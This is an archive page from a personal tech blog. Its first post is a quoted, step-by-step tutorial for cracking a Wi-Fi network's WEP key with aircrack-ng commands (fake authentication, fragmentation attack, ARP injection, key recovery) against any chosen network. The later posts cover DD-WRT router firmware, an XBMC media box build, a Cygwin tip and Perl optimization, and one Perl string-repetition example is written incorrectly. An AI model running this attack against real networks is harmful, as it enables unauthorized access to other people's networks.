Showing posts with label tech. Show all posts
Showing posts with label tech. Show all posts

4/14/2010

How to crack WEP key in Windows!

Got this article from the TAZ forum in this link.

Quoted content below:

GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download commview here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

Quote:

cd c:\aircrack\


- HIT ENTER

Step 3:
- type the following in the same command prompt:

Quote:

airserv-ng -d commview.dll


- HIT ENTER
- You should see something like this coming up in the command prompt

Quote:

Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666



Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:

Quote:

cd c:\aircrack\


-HIT ENTER

Step 5:
- Now typ this in the same command prompt:

Quote:

airodump-ng 127.0.0.1:666


- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:

Quote:

airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666



Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:

Quote:

cd c:\aircrack\


- HIT ENTER

Step 7:
- Type in the following in command prompt:

Quote:

aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666



yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this as the outcome:

Quote:

Sending Authentication Request
Authentication successful
Sending Association Request
Association successful :-)



if you get:

Quote:

AP rejects the source MAC address


It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:

Quote:

sending authentication request


Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:

Quote:

aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666



yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this:

Quote:

Waiting for a data packet...
Read #number packets...



Step 9:
if you wait a little bit you'll soon be prompted with a packet like this:

Quote:


Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.
0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn.
0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0.
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....



note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):

Quote:

Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream



Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!

AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:

Quote:

Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...


Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:

Quote:

packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request



Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:

Quote:

aireplay-ng -2 -r arp-request 127.0.0.1:666


The green part once again indicates the filename!

You should now see something like this coming up:

Quote:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ?


- Type in Y
- HIT ENTER

This should come up now:

Quote:

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)


You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:

Quote:

airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666


Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:

Quote:

aircrack-ng -n 64 Filename.cap



note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)


and if it goes like planned a message will pop-up saying:

Quote:

KEY FOUND: YourKey



That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

Extra useful links:
WEP CRACK tutorial from nokia:
http://tazforum.thetazzone.com/viewtopi ... f1722a5366

Info about the attack used(fragmentation):
http://www.aircrack-ng.org/doku.php?id=fragmentation

Zermelo's thread about this subject:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0

Topic on another forum about this:
http://tinyshell.be/aircrackng/forum/in ... pic=1626.0

1/26/2010

DD-WRT for Linksys WRT160N

DD-WRT installation information for Linksys router WRT160N v3.
http://www.dd-wrt.com/wiki/index.php/Linksys_WRT150N_&_WRT160N

WRT160Nv3 Instructions

  1. Read the Peacock Announcement.
  2. Download the latest firmware from ftp://dd-wrt.com/others/eko/V24-K26/ that has "WRT160Nv3" in the file name. Latest as of writing is ftp://dd-wrt.com/others/eko/V24-K26/svn13575/dd-wrt.v24-13575_NEWD-2_K2.6_mini_wrt160nv3.bin
  3. Ensure you have a physical ethernet connection to your router, and disable your wireless adapter, antivirus/firewall protection, and any software that makes strong use of your network (BitTorrent, Streaming Audio/Video, etc).
  4. Perform a hard 30/30/30 reset.
  5. Navigate to http://192.168.1.1/ in your web browser of choice.
  6. At the Linksys Management Mode screen, do not give the reboot command. You will use this page to upgrade your firmware.
  7. Browse to the firmware you downloaded and click Upload.
  8. Do not touch anything. The page will tell you that the upgrade was successful and the router is now rebooting. Your router may take upwards of a couple minutes to reboot. Watch the lights... once the wireless and power indicators are on steadily for several seconds, your router is fully rebooted and you can click "Continue" in your browser window.
  9. If the DD-WRT password change page displays, your upgrade has been successful, and you must now perform another hard 30/30/30 reset. This time, when you navigate to 192.168.1.1, click "Reboot" and wait for the router to come online again so you can configure it.

If the DD-WRT password change page does not display, your page request times out, or you can't ping 192.168.1.1, make sure both wireless and power lights are on steadily first, then do a hard power cycle (unplug the power from the router--do not do a 30/30/30 reset). Wait a few seconds and plug the power back into the router. Wait until both wireless and power lights are on steadily, then navigate to http://192.168.1.1/ in your browser of choice again. If the DD-WRT password change page displays, your upgrade has been successful, and you must now perform another hard 30/30/30 reset. This time, when you navigate to 192.168.1.1, click "Reboot" and wait for the router to come online again so you can configure it.

I made the following notes from installing on two separate Linksys wrt160nv3 routers. The other routers on this page might also behave this way, but I personally can only verify these for the wrt160nv3.


[edit] Performing a 30/30/30 Reset on a WRT160Nv3

  1. Perform a normal 30/30/30 reset.
  2. Login to http://192.168.1.1/ and you will see the Linksys - Management Mode page.
  3. Click "Reboot."
  4. In a moment, you will see "Command reboot completed." The router will now start the reboot process. When the lights return to their normal state, you can click "Continue" to be taken to the router's main page.

12/10/2009

DD-WRT to upgrade your router with open-source router OS

High-end router hack with cheap router from lifehacker:
http://lifehacker.com/software/router/hack-attack-turn-your-60-router-into-a-600-router-178132.php

Quote:

Hack Attack: Turn your $60 router into a $600 router

by Adam Pash

Of all the great DIY projects at this year's Maker Faire, the one project that really caught my eye involved converting a regular old $60 router into a powerful, highly configurable $600 router. The router has an interesting history, but all you really need to know is that the special sauce lies in embedding Linux in your router. I found this project especially attractive because: 1) It's easy, and 2) it's totally free.

So when I got the chance, I dove into converting my own router. After a relatively simple firmware upgrade, you can boost your wireless signal, prioritize what programs get your precious bandwidth, and do lots of other simple or potentially much more complicated things to improve your computing experience. Today I'm going to walk you through upgrading your router's firmware to the powerful open source DD-WRT firmware.

What you'll need:

  1. One of the supported routers. I used a Linksys WRT54GL Wireless router that I picked up from Newegg, and the instructions that follow detail the upgrade process specifically for that router and its close siblings. If you're upgrading one of the other supported routers, you might want to look into instructions specific to your router. These instructions may generally work for other supported routers, but I'm not making any promises.
  2. The generic DD-WRT v23 SP1 mini firmware version located here.*
  3. The generic DD-WRT v23 SP1 standard firmware version located here.*

*You'll be upgrading the firmware twice, first using the mini firmware, then using the standard.

Upgrading your router to the DD-WRT firmware

Check out this gallery for the detailed step-by-step upgrade with screenshots. When you're finished, come back here for some of my favorite tweaks.

Update, October '07: Reader Josh Harris writes in:

All the new WRT54G routers being sold now are v8, and the previous DD-WRT software didn't work on them. However, recent versions added support for the new v8 router— but it's a little more in depth.

Got this to work on the WRT54G v8 (should work on 7 as well, just replace the files with the corresponding 7 version):

First of all, use IE explorer. Firefox didn't work at all on this for me, even after install. Second, go to this page. Read the textfile carefully and follow its instructions. Two edits to the textfile:

1. Make sure you go to command prompt and type ipconfig /all. Record the default gateway, the subnet mask, and the two DNS addresses. When you set the IP address manually on your desktop/laptop to 192.168.1.100 as per the instructions, you will need to set these 4 numbers as well.

2. Don't forget when you do the tftp that you need to be in the folder that contains the downloaded dd-wrt.v24_micro_wrt54gv8.bin file (for example, if it is in C:/Downloads, type /cd C:/Downloads).

Lastly don't forget you need to be on a wire to the router, and download both vxworkskillerGv8.bin and dd-wrt.v24_micro_wrt54gv8.bin before you start. Following this procedure will install the micro version on your router.

After this, switch your laptop/desktop back to receiving your IP address via DHCP rather than the manual configuration you set as per the instructions. You will be able to access the DD-WRt micro install via 192.168.1.1 with the login username root and the password admin. From here, you still need to install the DD-WRT standard.

Unfortunately, you cannot go any farther than this with WRT54G v7 and v8 because Linksys downgraded the physical memory in these recent models. However, micro is still an improvement over the original Linksys firmware.

Boost your wireless signal

The first thing I did after I finished the firmware upgrade was give my wireless signal a much needed boost ("needed" in the sense any signal boosting that can be done needs to be done, right?). Doing so is trivial.

Go to the Wireless tab, then to Advanced Settings. Find the entry labeled Xmit Power, which is set by default at a paltry 28mW, and can be set up to 251mW. To be honest, I don't know much about the science of the whole process, but I do know that 251 is WAY bigger than 28. However, you probably don't want to pump it up to 251mW right away.

The DD-WRT manual suggests that a "safe increase of up to 70 would be suitable for most users." Anything too much above that and you'd be flirting with overheating your router and damaging the life of your router (though I've heard that many people have pushed it up to 100 or above). So go ahead and change your Xmit Power to 70 and click the Save Settings button at the bottom of the page.

I can't measure for sure how the signal boost has improved things for me since I've just moved into this apartment, but I can say that the signal is full bars pretty much anywhere I go. How's that for scientific?

Throttling your bandwidth by program

While most routers treat one request for bandwidth the same as any other, your new $600 router is a step above. By setting up QoS (Quality of Service) rules, you can give priority to your interactive traffic (like VoIP, web browsing, or gaming) while throttling traffic that doesn't require a steady rate of bandwidth to function (like P2P programs).

Doing so will ensure that even if your network gets clogged with lots of file sharing, you'll still have enough bandwidth left over to make all of your free SkypeOut phone calls. If you've got roommates who tend to sponge up a lot of bandwidth, you can even prioritize by IP address.

What to do if you brick your router

brick.png

If, god forbid, while flashing your firmware you end up "bricking" your router, don't worry - all is not lost. The DD-WRT wiki (a great resource of all things DD-WRT) can help you recover from a bad flash.

Of course, your router will handle securing your network, port forwarding, and all the other things your regular old router does.

Obviously I've just scratched the surface here, so if you decide to try this out, there's a lot of potential for other things you can do. Any readers tricked out a router with DD-WRT or one of the other open source distros? Tell us what tweaks have worked for you in the comments or at tips at lifehacker.com.

XBMC on Media Center!

XBMC build instruction from lifehacker:
http://lifehacker.com/5391308/

Quote:

Build a Silent, Standalone XBMC Media Center On the Cheap

You won't find a better media center than the open-source XBMC, but most people don't have the space or desire to plug a noisy PC into their TV. Instead, I converted a cheap nettop into a standalone XBMC set-top box. Here's how.

In the spirit of our Winter Upgrades theme this week, this guide details how to turn a cheapo nettop (think netbook for the desktop) into a killer settop box running XBMC. It handles virtually any video file I throw at it with ease (including streaming Blu-Ray rips from my desktop), it looks tiny next to my Xbox 360, it's low energy, and it's whisper quiet.

Huge props to this guide on the XBMC forums, which served as the starting point for much of what I did below.

What You'll Need

  • Acer AspireRevo: This $200 nettop ships with 1GB of RAM, an Intel Atom 230 processor, 160GB hard drive, Windows XP (which we won't use anyway), and an integrated graphics chip that handles HD video and can output it to HDMI. It also comes with a small wired keyboard and mouse, but once you're done here, you shouldn't need either of them. Oh, and it's tiny. (Other, more powerful nettops will work [like this one's beefier, $330 older sibling], but this is the cheapest one I could find with the NVIDIA ION graphics powerful enough to handle the HD playback.)
  • XBMC Live: This is a Live CD version of XBMC that boots directly into XBMC and has a tiny footprint. Basically all you're running is XBMC, so your media center stays light and snappy. You can find the download specifically set up for these NVIDIA ION machines on this page, you can grab the direct download here, or download via BitTorrent here.
  • A thumb drive: It doesn't have to be huge, but it'll need to be at least 1500MB of capacity, according to the installer. You should also format it to FAT32.
  • An IR receiver/Windows Media Center remote: This isn't strictly necessary, but if you want to control your shiny new XBMC via remote control, you'll need some sort of supported remote with a USB receiver. I bought this $20 remote because it was the cheapest I could find. (Incidentally, it also works like a charm with XBMC as soon as you plug it in.)

Getting XBMC Live up and running on your nettop is a breeze if you follow a few simple steps, so let's get started.

Install XBMC Live on Your Thumb Drive

XBMC Live allows you to try XBMC on any computer from a bootable CD or thumb drive, then optionally install the lightweight, XBMC-focused Linux distro directly to your device if you like. Since our nettop doesn't have a DVD drive, we'll need to first install XBMC to our thumb drive.

(There are ways around this. If you had a USB optical drive, you could probably burn XBMC Live to a disc and go from there. The thumb drive method isn't much more difficult, though.)

Here's how it works:

1. Download the XBMC Live installer with the updated NVIDIA drivers included on this page (direct link, torrent link). Update: Huge thanks to Mike and Aaron for the file hosting and torrent creating. It's a 341MB file, so it may take a while.

2. Burn XBMC Live to a CD
Once the download completes, unzip the xbmc.zip file. What you're left with is an xbmc.iso file—the disc image of the XBMC Live installer. Now you need to burn this ISO to a CD. Install our favorite tool for the job, ImgBurn, then right-click the xbmc.iso file and select Burn using ImgBurn. (If you're running Windows 7, you can use its built-in ISO burner, too, by selecting Burn disc image.)

3. Install XBMC Live to Your Thumb Drive
Now that you've burned XBMC to a CD, you're ready to install it to your thumb drive. To do so, plug in your thumb drive, put the XBMC Live CD in your DVD drive, and reboot your computer. If it's not already your default setting, go into your system BIOS (for most computers hitting Delete at the first boot screen will launch your BIOS) and set your optical drive as the primary boot device.

(All this means is that when your computer boots, it'll first check to see if there's any bootable media in your optical drive. If not, it'll continue booting to your secondary device—generally your hard drive. If your optical drive does contain bootable media—like your XBMC Live CD, for example—it'll boot it up.)

When XBMC Live loads, select "Install XBMCLive to disk (USB or HDD)", then accept the first prompt (by pressing any key). Next you'll end up at the "Choose disk to use" prompt, where you'll tell the installer that you want to install to your USB stick. Be careful here not to choose your hard drive, because it would be happy to overwrite your operating system if you told it to. Remember, your thumb drive is the Removable disk. After you pick the disk you want to use, confirm that you want to proceed and let the installer do its magic. (It'll only take a few minutes.)

Eventually the installer will ask you if you want to create a permanent system storage file, which presumably you'd want if you're not sure whether or not you want to install XBMC Live to your Acer's hard drive. I went ahead and created the system storage (even though we'll install XBMC Live directly to the hard drive in the next step.) Once the installation finishes, you're ready to proceed to the next step.

Set Your System BIOS

You'll need to make a couple of tweaks to your system BIOS to get it working smoothly with XBMC Live. So plug in your thumb drive, boot up your Acer AspireRevo, and hit Delete at the first boot screen to edit your BIOS. Look for the "Boot to RevoBoot" entry in the Advanced BIOS features menu and disable it. While you're there, set your XBMC Live thumb drive as the primary boot device. (You can set the primary boot device back to your hard drive later, after you've installed XBMC Live to your drive.)

Then go to the Advanced Chipset Features menu and set the iGPU Frame Buffer Detect to Manual and set the iGPU Frame Buffer Size to 256MB. (This is detailed here; the actual guide says 512, but that requires that you install more RAM—something I may do in the future, and will detail with a guide if I do. The 512 buffer size will help you stream the larger HD videos without hiccups.)

Now that your BIOS are set, you're ready to try out XBMC Live on your Acer AspireRevo.

Boot Up/Install XBMC Live to Your Hard Drive

At this point, you've got two choices. You can either restart your Acer AspireRevo and boot into XBMC Live to play around a little before you install it to your disk. If you're sure you're ready to install it for reals, just go ahead and run through the exact same installation as you did above, only this time install it to your nettop's hard drive. When you install to the hard drive, you'll also set a system password. This'll come in handy later.

The Final Tweaks

Okay, so far so good. XBMC should boot up directly from your hard drive now, and if you've plugged in your Windows Media Center remote, it should also be working without a hitch. You've just got to make a couple of adjustments to make it shine.

Now, what makes your little nettop work so well is that its onboard graphics processor can handle all the HD business without eating up your regular processor power, so you'll want to enable this in the XBMC settings. So head to Settings > Video > Play, find the Set Render to section, and set it to VDPAU.

Now, depending on how you're planning on hooking up your XBMC Live box to your television, you've got a few more tweaks you'll want to make. Namely this:

If you want to use HDMI for your audio out, head to Settings > System > Audio hardware, then set the audio output to Digital. Set your Audio output device to hdmi, and set the Passthrough output device to hdmi. Last, enable Downmix multichannel audio to stereo.

If you are using HDMI as your audio out (I am, and it's pretty nice), you've got to make one final tweak if you want the audio output to work with menu sounds. (It'll work fine with video without making this tweak, but the click-click sounds that play when you move around the XBMC menu are nice to have.) If that applies to you, create a new text file on your regular old computer (name it asoundrc.txt) and paste the following code (again, this awesome tweak comes from this post):

pcm.!default {
type plug
slave {
pcm "hdmi"
}
}

In the next step, I'll show you how to copy that file over to your nettop (a little trick that'll also come in handy for manually installing plug-ins and copying files to your nettop).

SFTP to Your XBMC Box

If you want to transfer files to your XBMC Live box from another computer, you'll need to get yourself an FTP client (I like FileZilla) and log into your nettop with the password you set when you were installing XBMC Live. To do so, create a new connection in Filezilla that looks something like the screenshot below (the default user is xbmc).

Once you're connected, make sure you're in the /home/xbmc/ directory, then copy over the asoundrc.txt file we made above. (The one you want to use if you're running your audio through the HDMI output.) Once it's copied over, rename the file to .asoundrc, restart XBMC, and the click-click menu sounds should be working along with regular old A/V playback.

The same SFTPing method here will be useful if you ever want to manually install any plug-ins or skins down the road, or just copy over media directly to your nettop's hard drive. (Though we'd recommend streaming—see below.)

Other Options

As I said above, you can buy more expensive, meatier machines, but for my money this Acer nettop has worked perfectly. Apart from upgrading to better equipment, you can also add up to 2GB more RAM if you're up for the job (RAM's so cheap these days, anyway). Like I said, though, so far I haven't seen the need for it.

I also quickly switched the skin to the MediaStream skin, which is the one you see in the photo at the top of the page. For a look at some other great skins you may want to apply to your XBMC box, check out these five beautiful skins—or just head to XBMC's main skins page.

Now that you've got it all set up, you've probably also realized that 160GB isn't all that much space for your media. You'd be right, of course. You've got two pretty good options. First, the nettop should have something like four free USB ports still, so you can easily plug in a big old drive that way. Assuming, however, that you can run an Ethernet wire over to your nettop, your best option is just to connect it to a shared folder on your home network. XBMC works like a charm with Samba shares (Windows shared folders use this).

Whichever method you use, you just need to add your extra hard drive space as a source in XBMC. You can do so through any of the individual menu items (videos, for example), or you can add a default Samba username and password in the settings so it can connect automatically without asking for a password each time you add a new watch folder on that machine.

At this point I could go into more detail on how to use and get the most out of XBMC (it can be a little hard to get your head around at first, even though once you do, it's not actually confusing). We've covered souping up your XBMC—and building your classic Xbox XBMC machine—and both offer some help in those directions. But stick around; tomorrow we'll follow up with an updated guide to some of our favorite XBMC tweaks.

9/03/2009

cygwin change default home directory

Just edit /etc/passwd file with your user id line to change your home directory when you start the console in cygwin.

5/20/2009

How to optimize your perl code!

Great resource on how to Optimize Perl. This helped me speed up my 3 hour long script to be able to run under 10min!!!

Quote below:

Sloppy programming, sloppy performance

I'll be honest: I love Perl and I use it everywhere. I've written Web sites, administration scripts, and games using Perl. I frequently save time by getting Perl to do and check things automatically for me, everything from my lottery numbers to the stock markets, and I even use it to automatically file my e-mail. Because Perl makes it so easy to do all of these things, there's a tendency to forget about optimization. In many cases this isn't the end of the world. So what if it takes an extra few milliseconds to look up your stock reports or parse those log files?

However, those same lazy habits that cost milliseconds in a small application are multiplied when dealing with larger scale development projects. It's the one area where the Perl mantra of TMTOWTDI (There's More Than One Way To Do It) starts to look like a bad plan. If you need speed, there may be only one or two ways to achieve the fastest results, whereas there are many slower alternatives. Ultimately, sloppy programming -- even if you achieve the desired result -- is going to result in sloppy performance. So, in this article I'm going to look at some of the key techniques you can use to squeeze those extra cycles out of your Perl application.


Approaching optimization

First of all, it's worth remembering that Perl is a compiled language. The source code you write is compiled on the fly into the bytecode that is executed. The bytecode is itself based on a range of instructions, all of which are written in a highly optimized form of C. However, even within these instructions, some operations that can achieve similar results are more highly optimized than others. Overall, this means that it's the combination of the logic sequence you use and the bytecode that is generated from this that ultimately affects performance. The differences between certain similar operations can be drastic. Consider the code in Listings 1 and 2. Both create a concatenated string, one through ordinary concatenation and the other through generating an array and concatenating it with join.


Listing 1. Concatenating a string, version 1
my $string = 'abcdefghijklmnopqrstuvwxyz';
my $concat = '';

foreach my $count (1..999999)
{
$concat .= $string;
}




Listing 2. Concatenating a string, version 2
my $string = 'abcdefghijklmnopqrstuvwxyz';
my @concat;

foreach my $count (1..999999)
{
push @concat,$string;
}
my $concat = join('',@concat);

Running Listing 1, I get a time of 1.765 seconds, whereas Listing 2 requires 5.244 seconds. Both generate a string, so what's taking up the time? Conventional wisdom (including that of the Perl team) would say that concatenating a string is a time-expensive process, because we have to extend the memory allocation for the variable and then copy the string and its addition into the new variable. Conversely, adding a string to an array should be relatively easy. We also have the added problem of duplicating the string concatenation using join(), which adds an extra second.

The problem, in this instance, is that push()-ing strings onto an array is time-intensive; first of all, we have a function call (which means pushing items onto a stack, and then taking them off), and we also have the additional array management overhead. In contrast, concatenating a string is pretty much just a case of running a single opcode to append a string variable to an existing string variable. Even if we set the array size to alleviate the overhead (using $#concat = 999999), we still only save another second.

The above is an extreme example, and there are times when using an array will be much quicker than using strings; a good example here is if you need to reuse a particular sequence but with an alternate order or different interstitial character. Arrays are also useful, of course, if you want to rearrange or reorder the contents. By the way, in this example, an even quicker way of producing a string that repeats the alphabet 999,999 times would be to use:

$concat = 999999 x 'abcdefghijklmnopqrstuvwxyz';

Individually, many of the techniques covered here won't make a huge difference, but combined in one application, you could shave a few hundred milliseconds, or even seconds, off of your Perl applications.


Use references

If you work with large arrays or hashes and use them as arguments to functions, use a reference instead of the variable directly. By using a reference, you tell the function to point to the information. Without a reference, you copy the entire array or hash onto the function call stack, and then copy it again in the function. References also save memory (which reduces footprint and management overheads) and simplify your programming.


String handling

If you are using static strings in your application a lot -- for example, in a Web application -- remember to use single quotes rather than doubles. Double quotes force Perl to look for a potential interpolation of information, which adds to the overhead of printing out the string:

print 'A string','another string',"\n";

I've also used commas to separate arguments rather than using a period to concatenate the string first. This simplifies the process; print simply sends each argument to the output file. Concatenation would concatenate the string and print it as one argument.


Loops

As you've already seen, function calls with arguments are expensive, because for the function call to work, Perl has to put the arguments onto the call stack, call the function, and then receive the responses back through the stack again. All of this requires overhead and processing that we could probably do without. For this reason, excessive function calls in a loop are generally a bad idea. Again, it comes down to a comparison of numbers. Looping through 1,000 items and passing information to a function will trigger the function call 1,000 times. To get around this, I just switch the sequence around. Instead of using the format in Listing 3, I use the approach in Listing 4.


Listing 3. Loop calling functions
foreach my $item (keys %{$values})
{
$values->{$item}->{result} = calculate($values->{$item});
}

sub calculate
{
my ($item) = @_;
return ($item->{adda}+$item->{addb});
}




Listing 4. Function using loops
calculate_list($values);

sub calculate_list
{
my ($list) = @_;
foreach my $item (keys %{$values})
{
$values->{$item}->{result} = ($item->{adda}+$item->{addb});
}
}

Better still, in a simple calculation like this one or for any straightforward loop work, use map:

map { $values->{$_}->{result} = $values->{$_}->{adda}+$values->{$_}->{addb} } keys %{$values};

Remember also that each iteration through the loop wastes time, so rather than working through the same loop a number of times, try to perform all the actions in one pass through the loop.


Sorts

Another common operation related to loops is sorting information, particularly keys in a hash. It's tempting in this instance to embed some processing of list elements into the sort operation, such as the one shown here in Listing 5.


Listing 5. Bad sorting
my @marksorted = sort {sprintf('%s%s%s',
$marked_items->{$b}->{'upddate'},
$marked_items->{$b}->{'updtime'},
$marked_items->{$a}->{itemid}) <=>
sprintf('%s%s%s',
$marked_items->{$a}->{'upddate'},
$marked_items->{$a}->{'updtime'},
$marked_items->{$a}->{itemid}) } keys %{$marked_items};

This is a fairly typical sort of complex data, in this case ordering something by date, time, and ID number by concatenating the numbers into a single number that we can then sort numerically. The problem is that the sort works through the list of items and moves them up or down through the list based on the comparison operation. In effect, this is a type of loop, but unlike the loop examples we've already seen, a sprintf call has to be made for each comparison. That's at least twice for each iteration, and the exact number of iterations through the list will depend how ordered it was to begin with. For example, with a 10,000-item list you could expect to call sprintf over 240,000 times.

The solution is to create a list that contains the sort information, and generate the sort field information just once. Taking the sample in Listing 5 as a guide, I'd rewrite that fragment into something like the code in Listing 6.


Listing 6. Better sorting
map { $marked_items->{$_}->{sort} = sprintf('%s%s%s',
$marked_items->{$_}->{'upddate'},
$marked_items->{$_}->{'updtime'},
$marked_items->{$_}->{itemid}) } keys %{$marked_items};
my @marksorted = sort { $marked_items->{$b}->{sort} <=>
$marked_items->{$a}->{sort} } keys %{$marked_items};

Instead of calling sprintf all those times, we call it just once for each item in the hash in order to generate a sort field in the hash, and then use that sort field directly during the sort. The sorting process only has to access the sort field's value. You have cut down the calls on that 10,000-item hash from 240,000 to just 10,000. It depends on what you are doing in that sort section originally, but it's possible to save as much as half the time it would take using the method shown in Listing 6.

If you produce these hashes through results from a database query -- through MySQL or similar -- using sorting within the query and then recording the order as you build the hash, you won't need to iterate over the information again.


Using short circuit logic

Related to the sort operation is how to work through a list of alternative values. Using many if statements can be incredibly time consuming. For example, look at the code in Listing 7.


Listing 7. Making a choice
if ($userchoice > 0)
{
$realchoice = $userchoice;
}
elsif ($systemchoice > 0)
{
$realchoice = $systemchoice;
}
else
{
$realchoice = $defaultchoice;
}

Aside from the waste of space in terms of sheer content, there are a couple of problems with this structure. From a programming perspective, it has the issue that it never checks if any of the variables have a valid value, a fact that would be highlighted if warnings were switched on. Second, it has to check each option until it gets to the one it wants, which is wasteful, as comparison operations (particularly on strings) are time consuming. Both problems can be solved by using short circuit logic.

If you use the logical || operator, Perl will use the first true value it comes across, in order, from left to right. The moment it finds a valid value, it doesn't bother processing any of the other values. In addition, because Perl is looking for a true value, it also ignores undefined values without complaining about them. So we can rewrite the above into a single line:

$realchoice = $userchoice || $systemchoice || $defaultchoice;

